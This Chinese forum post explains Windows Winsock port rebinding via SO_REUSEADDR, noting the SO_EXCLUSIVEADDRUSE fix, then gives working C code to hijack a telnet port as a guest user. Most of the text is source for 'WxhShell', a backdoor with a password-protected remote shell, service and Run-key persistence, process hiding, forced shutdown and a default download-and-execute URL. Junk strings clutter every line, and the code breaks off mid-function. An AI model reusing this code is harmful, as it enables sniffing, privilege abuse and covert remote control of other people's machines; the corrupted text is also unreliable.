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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DY?Kfvef  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w2'f/  
wL:flH@  
  saddr.sin_family = AF_INET; LmnymcH  
5qP:/*+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CLJ;<  
8!Ww J Oe  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oT>(V]*5  
`p;I}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [a wjio  
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  这意味着什么?意味着可以进行如下的攻击: iB& 4>+N+  
5w@4:$=I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sH[ROm  
I]EbodAyZ,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HEM9E&rL  
% V8U (z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tyqT  
n@,G8=J?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d*%`!G  
Gvr@|{k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 I\$X/t +dH  
3skC$mpJHw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7*Ej. HK  
4s*ZS}] o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D5*q7A6  
{*I``T_+  
  #include  q;][5  
  #include 7M<'/s  
  #include Z Z:}AQ  
  #include    +yD`3` E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   428>BQA  
  int main() )j0TeE1R  
  { >^*+iEe  
  WORD wVersionRequested; Gf<'WQ[  
  DWORD ret; ?1K#dC52#  
  WSADATA wsaData; wlqpn(XR  
  BOOL val; &b%zQ4%d-`  
  SOCKADDR_IN saddr; U_n9]Z  
  SOCKADDR_IN scaddr; zM(vr"U   
  int err; xY^ %&n  
  SOCKET s; OZ~5*v  
  SOCKET sc; jT]0WS-b  
  int caddsize; "C{}Z  
  HANDLE mt; HTS%^<u  
  DWORD tid;   G#u6Am)T  
  wVersionRequested = MAKEWORD( 2, 2 ); 5a|w+HO,  
  err = WSAStartup( wVersionRequested, &wsaData ); )E-inHD /  
  if ( err != 0 ) { ,l:ORoND  
  printf("error!WSAStartup failed!\n"); = 's(|  
  return -1; |m^k_d!d  
  } sE Q=dcK  
  saddr.sin_family = AF_INET; ZOeQ+j)|I  
   =pS5uR~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YW( Qmo7  
G <i@ 5\#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lrIS{MJ+-  
  saddr.sin_port = htons(23); ?7.7`1m !v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =IQ5<;U3  
  { yl7&5)b#9  
  printf("error!socket failed!\n"); t>`a sL  
  return -1; %)/P^9I6  
  } Pa V@aM~3  
  val = TRUE; XH}\15X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0"\H^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !`,Sfqij  
  { ]pNvxXbeW  
  printf("error!setsockopt failed!\n"); XF;ES3 d  
  return -1; CsoiyY -2  
  } r0+6evU2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ebUBrxZX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P(,p'I;j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )ttUWy$w  
&:dH,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;>?rP88t  
  { i]6`LqlO  
  ret=GetLastError(); \KQ71yqY  
  printf("error!bind failed!\n"); ZjQ |Wx  
  return -1; w35J.zn  
  } :UF%K>k2  
  listen(s,2); Z{ X|6.  
  while(1) O4cr*MCb5  
  { 1m:XR0P  
  caddsize = sizeof(scaddr); *E/`KUG]  
  //接受连接请求 'B 43_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &]v4@%<J  
  if(sc!=INVALID_SOCKET) W&& ;:Fr  
  { T|7}EAR=b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c#Sa]n  
  if(mt==NULL) j3{I /m  
  { cDFO;Dr  
  printf("Thread Creat Failed!\n"); uW@oyZUj  
  break; Crho=RJPR  
  } mKL<<L [  
  } JORGj0v  
  CloseHandle(mt); v9w'!C)b  
  } H%UL%l$  
  closesocket(s); J'SZ  
  WSACleanup(); q)S^P>  
  return 0; nrxo &9[@n  
  }   kI 4MiK  
  DWORD WINAPI ClientThread(LPVOID lpParam) [E!oQVY  
  { ![YX]+jqNp  
  SOCKET ss = (SOCKET)lpParam; #sPHdz'3M  
  SOCKET sc; juka0/  
  unsigned char buf[4096]; Rs-]N1V  
  SOCKADDR_IN saddr; ;V*R*R  
  long num; \>:CvTzF  
  DWORD val; 4)h]MOZ  
  DWORD ret; \W1,F6&j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Oiz ,w7LRh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i'H/ZwU  
  saddr.sin_family = AF_INET; B_nVP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 %Oa;]|  
  saddr.sin_port = htons(23); ^)(bM$(`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &x[E;P*Fg  
  { Ox&P}P0f  
  printf("error!socket failed!\n"); 7'Zky2F  
  return -1; NdtB1b  
  } QDs^Ije  
  val = 100; C([phT;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +BVym~*^  
  { cC=[Saatsf  
  ret = GetLastError(); 6x h:/j3  
  return -1; kbTm^y"  
  } hU`wVy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @R/07&lBR  
  { cik!GA  
  ret = GetLastError(); k. MUdU^  
  return -1; hd>aZ"nm1  
  } K/tRe/t }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o<<xY<  
  { U1DXe h~V  
  printf("error!socket connect failed!\n"); %_+2@\  
  closesocket(sc); {["\.ZS|  
  closesocket(ss); N^HUijw<  
  return -1; dx;Ysn0-  
  } -yE/f2PgQ  
  while(1) $ACvV "b  
  { =Z P%mW&;}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q<h-FW8z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eqP&8^HP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Rv#]I#O  
  num = recv(ss,buf,4096,0); PZE0}>z  
  if(num>0) U}6.h&$  
  send(sc,buf,num,0); 56+s~hG  
  else if(num==0) QW $G  
  break; zm]aU`j  
  num = recv(sc,buf,4096,0); a:"Uh**  
  if(num>0) B^j  
  send(ss,buf,num,0); ap&?r`Tu  
  else if(num==0) X 9p.gXF  
  break; MaRi+3F  
  } W=#:.Xj[  
  closesocket(ss); 2"Ecd  
  closesocket(sc); q*F{/N **  
  return 0 ; &xa(BX%,c  
  } AvdXEY(-  
w8kOVN2b  
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========================================================== (yF:6$:#  
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下边附上一个代码,,WXhSHELL v}1QH  
.QA }u ,EN  
========================================================== 4a'N>eDR  
nQ q=7Gu  
#include "stdafx.h" `S6x<J&T\/  
cW i}V  
#include <stdio.h> `D=S{   
#include <string.h> 7on.4/;M  
#include <windows.h> @!`Xl*l  
#include <winsock2.h> ]|MEx{BG-  
#include <winsvc.h> /LO -HnJ  
#include <urlmon.h> [x9KVd ^d  
IB[)TZ2m  
#pragma comment (lib, "Ws2_32.lib") ]}U*_rM:  
#pragma comment (lib, "urlmon.lib") Q$HG  
``ou/Z  
#define MAX_USER   100 // 最大客户端连接数 B[V+ND'(  
#define BUF_SOCK   200 // sock buffer &Q>k7L!  
#define KEY_BUFF   255 // 输入 buffer /lo2y?CS*  
4:|S` jm  
#define REBOOT     0   // 重启 vH#huZA?7  
#define SHUTDOWN   1   // 关机 LG<J;&41~S  
_(h&7P9  
#define DEF_PORT   5000 // 监听端口 Wn(6,MDUN  
Zy o[(`y  
#define REG_LEN     16   // 注册表键长度 QlJ)F{R8il  
#define SVC_LEN     80   // NT服务名长度 *Eo?k<:zPm  
/Y'Vh^9/T  
// 从dll定义API i(iXD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nHm}zOLc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TNGU6j}oq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s (zL   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v#.r.{t  
:P<]+\m  
// wxhshell配置信息 ch0{+g&  
struct WSCFG { CaL\fZ  
  int ws_port;         // 监听端口 hnDBFQ{  
  char ws_passstr[REG_LEN]; // 口令 a{R%#e\n  
  int ws_autoins;       // 安装标记, 1=yes 0=no a'2$nbp}  
  char ws_regname[REG_LEN]; // 注册表键名 hRs&t,{&  
  char ws_svcname[REG_LEN]; // 服务名 ;~D)~=|ZZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MO n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I~ok4L?VB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  *T5!{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N7O-2Z *  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" . koYHq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hJZV}a|  
~zJ?H<>  
}; 22.8PO0  
Y*H|?uNF  
// default Wxhshell configuration P;Ga4Q.  
struct WSCFG wscfg={DEF_PORT, jpO7'ivG  
    "xuhuanlingzhe", T`5bZu^c  
    1, SV2M+5#;  
    "Wxhshell", zmSUw}-4 N  
    "Wxhshell", v"#mzd.tW  
            "WxhShell Service", kic/*v\6@  
    "Wrsky Windows CmdShell Service", J/[=p<I)  
    "Please Input Your Password: ", B2C$N0R#  
  1, k3) dEH1z  
  "http://www.wrsky.com/wxhshell.exe", |Z=^`J  
  "Wxhshell.exe" oxz OA  
    }; ]Bjyi[#bg  
{ S3ZeN,kZ  
// 消息定义模块 (]Y 5eM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |j#C|V%kV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ">y%iE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G>1eFBh }  
char *msg_ws_ext="\n\rExit."; cm&I* 0\  
char *msg_ws_end="\n\rQuit."; wPwXM!  
char *msg_ws_boot="\n\rReboot..."; p2DrEId  
char *msg_ws_poff="\n\rShutdown..."; iZaI_\"__  
char *msg_ws_down="\n\rSave to "; ?e,pN,4  
W9D86]3Y  
char *msg_ws_err="\n\rErr!"; E ,|xJjh  
char *msg_ws_ok="\n\rOK!"; A-T]9f9  
rdJ d#S  
char ExeFile[MAX_PATH]; ~%SH3$  
int nUser = 0; ]dI2y=[!C  
HANDLE handles[MAX_USER]; 763v  
int OsIsNt; 1oN^HG6O  
9Hc$G{[a  
SERVICE_STATUS       serviceStatus; V>A .iim  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^(|vsFzn  
K)Q]a30  
// 函数声明 (UU(:/  
int Install(void); ~~SwCXZ+b^  
int Uninstall(void); UG'9*(*  
int DownloadFile(char *sURL, SOCKET wsh); (&+kl q  
int Boot(int flag); $CY't'6Hn  
void HideProc(void); \Dd-Xn_b  
int GetOsVer(void); ds?v'|  
int Wxhshell(SOCKET wsl); 1rkE yh??  
void TalkWithClient(void *cs); YEj8S5"Su\  
int CmdShell(SOCKET sock); +;#Y]xy:  
int StartFromService(void); 3>R#zJf  
int StartWxhshell(LPSTR lpCmdLine); ],RdySN&  
:&:JTa1cv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8"fD`jtQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IuNiEtKx  
^V#@QPK9  
// 数据结构和表定义 yp66{o  
SERVICE_TABLE_ENTRY DispatchTable[] = 49w=XJ  
{ )w0AC"2O~  
{wscfg.ws_svcname, NTServiceMain}, *X, /7C   
{NULL, NULL} m"o ;L3  
}; Qt/8r*Oe  
R +WP0&d'  
// 自我安装 _ B 5gR  
int Install(void) 72oF,42y  
{ 4*'pl.rb>  
  char svExeFile[MAX_PATH]; /k<WNZM  
  HKEY key; lhw()u  
  strcpy(svExeFile,ExeFile); %7gkNa  
|Tm!VFd  
// 如果是win9x系统,修改注册表设为自启动 ;~\MZYs3m  
if(!OsIsNt) { &9"-`-[e:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yb/%?DNQT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t$A%*JBKm  
  RegCloseKey(key); 4qYUoCR&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l?Fb ='#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Q>_uw}g#  
  RegCloseKey(key); tWoh''@#  
  return 0; /l<<_uk$  
    } Hv\-_>}K  
  } )I$q5%q8  
} :P@rkT3Qt  
else { tX"Th'Qi  
a(v>Q*zNP  
// 如果是NT以上系统,安装为系统服务 Ns[ym>x#2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [fKUyIY_  
if (schSCManager!=0) Hx\H $Y  
{ |7}C QU  
  SC_HANDLE schService = CreateService N1}={yF.fQ  
  ( gF5a5T,  
  schSCManager, hQDTS>U  
  wscfg.ws_svcname, =n' 4?W@  
  wscfg.ws_svcdisp, l+g9 5m jP  
  SERVICE_ALL_ACCESS, o`q_wdy?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A^2Uzmzl?  
  SERVICE_AUTO_START, qg}O/K  
  SERVICE_ERROR_NORMAL, _Jt 2YZdA  
  svExeFile, NU*fg`w  
  NULL, A6pjRxg  
  NULL, rJ!{/3e  
  NULL, IW% |G  
  NULL, jvV9eA:zl  
  NULL +ke1Cn'[  
  ); Myq5b`z  
  if (schService!=0) H_ez'yy  
  { acw4B5]  
  CloseServiceHandle(schService); r@o6voX  
  CloseServiceHandle(schSCManager); {|yob4N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B-T/V-c7  
  strcat(svExeFile,wscfg.ws_svcname); 5n ^TRB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \#>T~.Y7K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3^Q]j^e4Ny  
  RegCloseKey(key); WwUv5GZTW  
  return 0; C>[fB|^  
    } o y<J6  
  } 3[XQR8o  
  CloseServiceHandle(schSCManager); RAjkH`  
} Ft@Wyo`^  
} 0~& "  
XTDE53Js&  
return 1; |fHB[ W#  
} E&B{5/rv  
9Z6C8J v  
// 自我卸载 R1-k3;v^  
int Uninstall(void) ba@=^Fa;  
{ )n=ARDd^e  
  HKEY key; x>~p;z#VX  
b8f+,2Tk  
if(!OsIsNt) { @S 6u9v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #' hLb  
  RegDeleteValue(key,wscfg.ws_regname); r Db>&s3  
  RegCloseKey(key); jvzBh-!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WjMS5^ _  
  RegDeleteValue(key,wscfg.ws_regname); +/?iCmW  
  RegCloseKey(key); n$2RCQ  
  return 0;  .~}z4r  
  } hFvi 5I-b  
} <SVmOmJ-K  
} yW.COWL=)  
else { j K8'T_Pah  
*wi}>_\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ih1|LR/c  
if (schSCManager!=0) #3kXmeyrD  
{ dZ :r&Qa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pj7gGf6v  
  if (schService!=0) *(cU]NUH_  
  { tL0`Rvl  
  if(DeleteService(schService)!=0) { v&3O&y/1v  
  CloseServiceHandle(schService); Qrz4}0  
  CloseServiceHandle(schSCManager); J< JBdk  
  return 0; _ ^7|!(Sz  
  } CsSp=(  
  CloseServiceHandle(schService); p-GT`D  
  } | W#~F&{]  
  CloseServiceHandle(schSCManager); S*%iiD)  
} &WZP2Q|  
} |ia@,*KD  
@XOi62(  
return 1; ;Mj002.\G  
} -O&"|   
/hdf{4  
// 从指定url下载文件 JZ`L%  
int DownloadFile(char *sURL, SOCKET wsh) T{*^_  
{ Fc0jQ@4=  
  HRESULT hr; ^{[`=P'/  
char seps[]= "/"; N"DY?6  
char *token; =LZ>s u  
char *file; J(d2:V{h  
char myURL[MAX_PATH]; NlFo$Y  
char myFILE[MAX_PATH]; fdvi}SS8  
:pV("tHE  
strcpy(myURL,sURL); T(fR/~:z?  
  token=strtok(myURL,seps); D aqy+:  
  while(token!=NULL) h-)A?%Xt  
  { M cMK|_H  
    file=token; emDvy2uA#  
  token=strtok(NULL,seps); }Rf :DmPE  
  } cB9KHqB  
BIB>U W  
GetCurrentDirectory(MAX_PATH,myFILE); >t6'8g"T  
strcat(myFILE, "\\"); MjF.>4  
strcat(myFILE, file); vN6]6nUOiT  
  send(wsh,myFILE,strlen(myFILE),0); hZF&PV5H  
send(wsh,"...",3,0); `peJ s~V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'c+qBSDA  
  if(hr==S_OK) L)//- k9  
return 0; QW"6]  
else ch2e#Jf8  
return 1; 5['B- Iw  
VRN9yn2  
} F|ML$  
(nZ=9+j]d  
// 系统电源模块 NByN}e  
int Boot(int flag) y<LwrrJ>  
{ ~uD;_Y=u)r  
  HANDLE hToken; #5"<.z  
  TOKEN_PRIVILEGES tkp; xo"4mbTV  
jKi*3-&  
  if(OsIsNt) { !A<XqzV]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B7jlJqV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (P!reYyM  
    tkp.PrivilegeCount = 1; rp[oH=&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4lKbw4[a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m$UT4,Ol  
if(flag==REBOOT) { KD3To%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R*5;J`TW  
  return 0; #dm@%~B{.  
} h.+&=s!Nsy  
else { F vk: c-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E@}j}/%'O  
  return 0; %T*+t"\)  
} u~T$F/]k>  
  } (uxQBy  
  else { Fea\ eB  
if(flag==REBOOT) { 3g "xm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5pyvs;As  
  return 0; 5J#g JFA  
} Pds*M?&F  
else { s3RyLT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9: |K]y  
  return 0; {3uSg)  
} ok _{8z\#  
} )Is*- W  
: MmXH&yR  
return 1; -&$%m)wN  
} E4@fP] R+  
H+&w7ER  
// win9x进程隐藏模块 q9(}wvtr  
void HideProc(void) =F-^RnO%\  
{ 4< >:]  
Br^b%12ZRS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +VCo=oA  
  if ( hKernel != NULL ) Q&'Nr3H#tZ  
  { JNg5?V;.U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rBPxGBd4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k GeME   
    FreeLibrary(hKernel); :DpK{$eCb  
  } ojqX#>0K  
9)hC,)5  
return; !D5`8   
} 3VB V_/i;  
sU!q~`; J  
// 获取操作系统版本 rAdcMFW  
int GetOsVer(void) eh(]'%![/  
{ a~EEow;A  
  OSVERSIONINFO winfo; #,{v Js~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >c>ar>4xF  
  GetVersionEx(&winfo); sjkl? _  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5h7DVr!  
  return 1; }X:r:{r  
  else S60`'!y  
  return 0; % 7:  
} RIc<  
}}2hI`   
// 客户端句柄模块 V$D d 7  
int Wxhshell(SOCKET wsl) IT33E%G  
{ y>1 8)8  
  SOCKET wsh; %LW~oI.  
  struct sockaddr_in client; .}>[ Kr  
  DWORD myID; t\0JNi$2  
NFPkK?+  
  while(nUser<MAX_USER) hlEvL  
{ Wm_-T]#_  
  int nSize=sizeof(client);  >S/>2e:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4D$E  
  if(wsh==INVALID_SOCKET) return 1; \MPy"uC  
w$HC!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x B[# a*  
if(handles[nUser]==0) gI{F"7fa=  
  closesocket(wsh); gE(03SX  
else ^jA^~h3(W  
  nUser++; ~vS.Dr  
  } ~!u94_:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XA%?35v~  
]7@Dqd-/S  
  return 0; >8- `  
} Jy$-)  
K~G^jAk+  
// 关闭 socket c5u?\  
void CloseIt(SOCKET wsh) W;W\L? r  
{ sS|5x  
closesocket(wsh); Yr@@ty  
nUser--; d4tVK0 ~  
ExitThread(0); WOoVVjMM  
} C ^'}{K  
d7Z\  
// 客户端请求句柄 SY.V_O$l }  
void TalkWithClient(void *cs) ps [rYy  
{ 7IR n  
e9nuQ\=  
  SOCKET wsh=(SOCKET)cs; K[Kc'6G  
  char pwd[SVC_LEN]; NKN!X/P  
  char cmd[KEY_BUFF]; b9Nw98`  
char chr[1]; cA,xf@itp  
int i,j; _1QNO#X  
PT=%]o]  
  while (nUser < MAX_USER) { -g9f3Be  
$@X,J2&  
if(wscfg.ws_passstr) { iFnM6O$(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XCY4[2*a>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8cl!8gfv  
  //ZeroMemory(pwd,KEY_BUFF); 5sRNqTIr  
      i=0; L[efiiLh$  
  while(i<SVC_LEN) { e %#f9i  
"wc $'7M  
  // 设置超时 e5Z\v0  
  fd_set FdRead; $U1'n@/J  
  struct timeval TimeOut; D!CGbP(  
  FD_ZERO(&FdRead); X^`ld&^*({  
  FD_SET(wsh,&FdRead); Z2r\aZ-d`  
  TimeOut.tv_sec=8; !G37K8 &&*  
  TimeOut.tv_usec=0; JT<J[Qz5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YN^8s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N|; cG[W  
m`|+_{4[n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -M:.D3,L  
  pwd=chr[0]; qH$p]+Rk 5  
  if(chr[0]==0xd || chr[0]==0xa) { UA^E^$f:  
  pwd=0; `|4{|X*U.  
  break; b /)UN*~  
  } .%o:kq@B  
  i++; 8EQ;+V  
    } DN+iS  
5|Uub ,  
  // 如果是非法用户,关闭 socket & b%6pVj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 15B$Sp!/`e  
} DWDe5$^{  
a2zo_h2R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $JOIK9+3z#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /*[a>B4-q  
m&2m' =(  
while(1) { d7 @ N~<n  
p^2pv{by  
  ZeroMemory(cmd,KEY_BUFF); ezL*YM8?@  
0kDT:3  
      // 自动支持客户端 telnet标准   h<uQ~CQg  
  j=0; IMBqy-q  
  while(j<KEY_BUFF) { ls=<c<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j \SDw  
  cmd[j]=chr[0]; Zhw _L  
  if(chr[0]==0xa || chr[0]==0xd) { wvfCj6}S &  
  cmd[j]=0; Z]aSo07  
  break; i^=an?}/  
  } R,(^fM  
  j++; #ws6z`mt  
    } HtMlSgx,8>  
6rk/74gI,a  
  // 下载文件 v<O\ l~S  
  if(strstr(cmd,"http://")) { 8`*(lKiL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n_5g:`Y  
  if(DownloadFile(cmd,wsh)) MtS$ovg?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !-: a`Vs+  
  else -Z:al\e<g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0KEytm]  
  } u*"tZ+|m  
  else { ,L`qV  
b*,R9  
    switch(cmd[0]) { p@P[pzxI  
  RgEUTpX  
  // 帮助 Odagaca  
  case '?': { M jHeUf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f}*Xz.[bCp  
    break; ,TL~];J'  
  } BWd?a6nU}  
  // 安装 &:Q""e!  
  case 'i': { a"~W1|JC"  
    if(Install()) l*h6 JgU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&E*$G@.7  
    else f3nib8B'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "|f;   
    break; B} &C h  
    } T%Z`:mf  
  // 卸载 3n X7$$X  
  case 'r': { ^c+6?  
    if(Uninstall()) ao 32n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YV0e)bf  
    else 1V)0+_Yv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _w)0r}{  
    break; /bg8oB4  
    } lnTl"9F  
  // 显示 wxhshell 所在路径 wp$SO^?-  
  case 'p': { s*rtm  
    char svExeFile[MAX_PATH]; k~Gjfo  
    strcpy(svExeFile,"\n\r"); 10*U2FY)]  
      strcat(svExeFile,ExeFile); d d8^V_Kx  
        send(wsh,svExeFile,strlen(svExeFile),0); H3MT.Cpd  
    break; |Y:T3hra61  
    } !iITX,'8  
  // 重启 (Iu5QLE  
  case 'b': { }Dk_gom_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K&Zdk (l)  
    if(Boot(REBOOT)) %Sj;:LC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^ ~fVl  
    else { :s*&_y  
    closesocket(wsh); ]kc]YO7i%R  
    ExitThread(0); T< P4+#JK  
    } \\)3:1X  
    break; owQLAV  
    } ?zxKk(J  
  // 关机 0p! [&O  
  case 'd': { s|d L.@0,L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i9w xP i  
    if(Boot(SHUTDOWN)) rY88xh^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;sb0,2YyP  
    else { dDAdZxd  
